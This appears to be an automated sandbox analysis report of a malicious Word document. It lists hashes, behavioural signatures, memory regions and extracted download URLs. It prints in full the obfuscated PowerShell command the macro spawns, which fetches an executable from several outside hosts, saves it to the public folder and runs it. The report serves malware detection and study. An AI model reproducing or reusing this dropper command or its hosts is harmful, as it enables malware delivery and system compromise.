Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 22:22
Behavioral task
behavioral1
Sample
68d5f66df460cd50a2293b61755f8cfc_JaffaCakes118.doc
Resource
win7-20240221-en
General
-
Target
68d5f66df460cd50a2293b61755f8cfc_JaffaCakes118.doc
-
Size
181KB
-
MD5
68d5f66df460cd50a2293b61755f8cfc
-
SHA1
a709c61f90991220154b71d110578d4dfb7196b6
-
SHA256
49e036cc8c59a83ee290f04d7fc143970ebc95c9d3d8d1ca048134091e989346
-
SHA512
c0d3e9c309f469d9377461a55a91c1ea04f9157cf6b002ecb2a3c69d957a829b865fccdcc48955ab1b246ddf1d5d897cd6ddddb461ad7d25dc050cdb7cb186fc
-
SSDEEP
3072:P8AOfnpC8pN7tpTBOIM7zVHSLbXTWgzGUXeE3aR5rnj:P8AOfpC8pN7tpTBOI+VHSfXTWMfHaR5f
Malware Config
Extracted
http://krems-bedachungen.de/fyKDV/
http://4glory.net/btKzNVlg/
http://angelabphotography.com/4hR1e/
http://dekormc.pl/js/ncrILdi/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2672 4668 Powershell.exe WINWORD.EXE -
Blocklisted process makes network request 5 IoCs
Processes:
Powershell.exeflow pid process 25 2672 Powershell.exe 30 2672 Powershell.exe 37 2672 Powershell.exe 50 2672 Powershell.exe 57 2672 Powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4668 WINWORD.EXE 4668 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
Powershell.exepid process 2672 Powershell.exe 2672 Powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 2672 Powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 4668 WINWORD.EXE 4668 WINWORD.EXE 4668 WINWORD.EXE 4668 WINWORD.EXE 4668 WINWORD.EXE 4668 WINWORD.EXE 4668 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 4668 wrote to memory of 2672 4668 WINWORD.EXE Powershell.exe PID 4668 wrote to memory of 2672 4668 WINWORD.EXE Powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\68d5f66df460cd50a2293b61755f8cfc_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell (('(Jxu3Jxu+JxuhJxu+JxuRnsJxu+JxuaJxu'+'+JxudJxu+Jxuasd = &(efpnefp+efpJx'+'u+Jxueefp+'+'efJxu+JxupJxu+Jxuw-objeceJxu+'+'JxufJxu+JxupJxu+Jxu+eJxu+J'+'xufptefp) random;3Jxu+JxuhJxu+JxuRYJxu+J'+'xuYJxu+Jx'+'uU =Jxu+Jxu Jxu+Jxu.Jxu+Jxu(Jxu+JxuefpnJxu+JxueJxu+Jxue'+'fp+efJxu+JxupJxu+JxuwJxu+Jx'+'uefpJxu+Jxu+eJxu+Jxufp-objecteJxu+Jxufp) Sy'+'sJxu+Jxutem'+'.Net.WebClJxu+JxuieJxu+JxuntJx'+'u+Jxu;3Jxu+JxuhRJxu+Jx'+'uNJxu+JxuSB = 3Jxu+JxuhRJxu+JxunJxu+JxusadJxu+JxuasdJxu+J'+'xu.neJx'+'u+JxuxJxu+JxutJxu+Jxu(Jxu+Jxu10000Jxu+Jxu,Jx'+'u+Jx'+'u 28213Jxu+Jxu3)Jxu+Jxu;Jxu+Jxu3hRADJxu+Jxu'+'C'+'XJxu+Jxu Jxu+'+'Jx'+'u= '+'ef'+'p http:/Jxu+Jxu/lg'+'lab.Jxu+Jxuco.Jxu+JxuukJxu+Jxu/vsiJxu+Jxu6YDJxu+JxurX/@hJxu+JxuttJxu+Jxup://Jxu+JxukJxu+JxureJxu'+'+JxumJxu+'+'JxusJxu+Jxu-beJxu+JxudaJxu+JxuchungenJxu+Jxu.Jxu+JxudeJxu+Jx'+'u/Jxu+JxufyKDVJxu+Jxu/Jxu+Jxu@http:Jxu+Jx'+'u//4glorJxu+Jxuy.net/bJxu+J'+'xutKzJxu+JxuNVlg/@Jxu+JxuhttpJxu+Jx'+'u://aJxu+JxungelJxu+JxuabphotogJxu+Jxuraph'+'y.Jxu+JxucJxu+JxuomJxu+Jxu/Jxu+Jxu4hJxu+Jxu'+'R1eJxu+Jxu/@htJxu'+'+JxutJxu+Jxup:Jxu+Jxu//dekormJxu+Jxuc.Jxu+JxupJxu+JxulJxu+Jxu/J'+'xu+Jxujs/Jxu+JxuncrJxu+JxuILdiJxu+Jxu/eJxu+Jxufp.SJxu+JxupJxu+Jxulit(efpJxu+Jx'+'u@eJxu+Jxufp);Jxu+Jxu3hRSDC = 3Jxu+JxuhRenvJxu'+'+Jxu:publiJxu+JxucJ'+'xu+Jxu + efJxu+'+'Jxup7FMJxu+J'+'xuefpJxu+Jxu + Jxu+Jxu3hRN'+'SB Jxu+Jxu+Jxu+Jxu'+' (Jxu+JxuefpJxu+Jxu.exefp+Jxu+JxueJxu+JxufJ'+'xu+JxupeJxu+JxuefJxu+Jxup);foJxu+JxurJxu+JxueacJxu+Jxuh(Jxu+Jxu3hRasfc iJxu+JxunJxu+Jxu 3hJxu+JxuRADJxu+'+'JxuCX)Jxu+Jxu{Jx'+'u+JxutJxu+Jxur'+'Jxu+Jxuy{3hRYYU.EJxu+JxuLBJxu+JxuDoJx'+'u+JxuTY0W'+'nlT'+'Y0OadFITJxu+JxuYJxu+Jxu0lJxu+JxueEJxu+JxuLJxu+JxuB(3hRasfc.E'+'LBToStJxu+JxurTJxu+JxuYJxu+Jxu0Jxu+JxuiTJxu+JxuYJxu+Jxu0NgELJxu+JxuBJxu+Jxu()Jxu+Jxu, 3Jxu+JxuhRSDC);&(efpInvJxu+JxuoefpJxu+Jxu+efpkeJxu+'+'Jxuf'+'p+efp'+'e-It'+'emeJxu+JxufpJxu+'+'Jxu)Jxu+Jxu(3hJxu+JxuRSJx'+'u+JxuDCJxu+Jxu);breakJxu+Jxu;Jxu+Jxu}catch{}Jxu+Jxu}Jxu).R'+'EpLACe(Jxu7FMJxu,JxuD2cJxu).REpLACe(JxuefpJxu,[STRinG][Char]39).REpLACe('+'Jxu3h'+'RJxu,Jxus'+'uKJxu).REpLACe(JxuELBJxu,[STRinG][Char]34).REpLACe(JxuTY0Jxu,[STRinG][Char]96) tMo. ( suKPshOme[4]+suKPSHoMe[30]+JxuxJxu)')-CreplaCE 'tMo',[cHar]124-CreplaCE 'Jxu',[cHar]39-rEPlAcE 'suK',[cHar]36 -rEPlAcE ([cHar]68+[cHar]50+[cHar]99),[cHar]92) |.( $SHELLID[1]+$sHELlID[13]+'X')2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\TCD9334.tmp\iso690.xslFilesize
263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_udvizyyu.exq.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/2672-202-0x000001ED76340000-0x000001ED76362000-memory.dmpFilesize
136KB
-
memory/4668-8-0x00007FF8016B0000-0x00007FF8018A5000-memory.dmpFilesize
2.0MB
-
memory/4668-6-0x00007FF7C1730000-0x00007FF7C1740000-memory.dmpFilesize
64KB
-
memory/4668-4-0x00007FF7C1730000-0x00007FF7C1740000-memory.dmpFilesize
64KB
-
memory/4668-23-0x00007FF8016B0000-0x00007FF8018A5000-memory.dmpFilesize
2.0MB
-
memory/4668-10-0x00007FF7C1730000-0x00007FF7C1740000-memory.dmpFilesize
64KB
-
memory/4668-24-0x00007FF8016B0000-0x00007FF8018A5000-memory.dmpFilesize
2.0MB
-
memory/4668-0-0x00007FF7C1730000-0x00007FF7C1740000-memory.dmpFilesize
64KB
-
memory/4668-11-0x00007FF8016B0000-0x00007FF8018A5000-memory.dmpFilesize
2.0MB
-
memory/4668-12-0x00007FF8016B0000-0x00007FF8018A5000-memory.dmpFilesize
2.0MB
-
memory/4668-17-0x00007FF8016B0000-0x00007FF8018A5000-memory.dmpFilesize
2.0MB
-
memory/4668-18-0x00007FF8016B0000-0x00007FF8018A5000-memory.dmpFilesize
2.0MB
-
memory/4668-16-0x00007FF8016B0000-0x00007FF8018A5000-memory.dmpFilesize
2.0MB
-
memory/4668-15-0x00007FFFBEDC0000-0x00007FFFBEDD0000-memory.dmpFilesize
64KB
-
memory/4668-14-0x00007FF8016B0000-0x00007FF8018A5000-memory.dmpFilesize
2.0MB
-
memory/4668-13-0x00007FF8016B0000-0x00007FF8018A5000-memory.dmpFilesize
2.0MB
-
memory/4668-20-0x00007FFFBEDC0000-0x00007FFFBEDD0000-memory.dmpFilesize
64KB
-
memory/4668-716-0x00007FF7C1730000-0x00007FF7C1740000-memory.dmpFilesize
64KB
-
memory/4668-2-0x00007FF7C1730000-0x00007FF7C1740000-memory.dmpFilesize
64KB
-
memory/4668-9-0x00007FFFBFE10000-0x00007FFFBFE20000-memory.dmpFilesize
64KB
-
memory/4668-22-0x00007FF8016B0000-0x00007FF8018A5000-memory.dmpFilesize
2.0MB
-
memory/4668-21-0x00007FF8016B0000-0x00007FF8018A5000-memory.dmpFilesize
2.0MB
-
memory/4668-70-0x00007FF8016B0000-0x00007FF8018A5000-memory.dmpFilesize
2.0MB
-
memory/4668-3-0x00007FFFBFE10000-0x00007FFFBFE20000-memory.dmpFilesize
64KB
-
memory/4668-5-0x00007FFFBFE10000-0x00007FFFBFE20000-memory.dmpFilesize
64KB
-
memory/4668-7-0x00007FF80174D000-0x00007FF80174E000-memory.dmpFilesize
4KB
-
memory/4668-694-0x00007FF8016B0000-0x00007FF8018A5000-memory.dmpFilesize
2.0MB
-
memory/4668-695-0x00007FF8016B0000-0x00007FF8018A5000-memory.dmpFilesize
2.0MB
-
memory/4668-715-0x00007FFFBFE10000-0x00007FFFBFE20000-memory.dmpFilesize
64KB
-
memory/4668-718-0x00007FF7C1730000-0x00007FF7C1740000-memory.dmpFilesize
64KB
-
memory/4668-721-0x00007FFFBFE10000-0x00007FFFBFE20000-memory.dmpFilesize
64KB
-
memory/4668-720-0x00007FF7C1730000-0x00007FF7C1740000-memory.dmpFilesize
64KB
-
memory/4668-719-0x00007FFFBFE10000-0x00007FFFBFE20000-memory.dmpFilesize
64KB
-
memory/4668-717-0x00007FFFBFE10000-0x00007FFFBFE20000-memory.dmpFilesize
64KB
-
memory/4668-19-0x00007FF7C0270000-0x00007FF7C0280000-memory.dmpFilesize
64KB
-
memory/4668-722-0x00007FF8016B0000-0x00007FF8018A5000-memory.dmpFilesize
2.0MB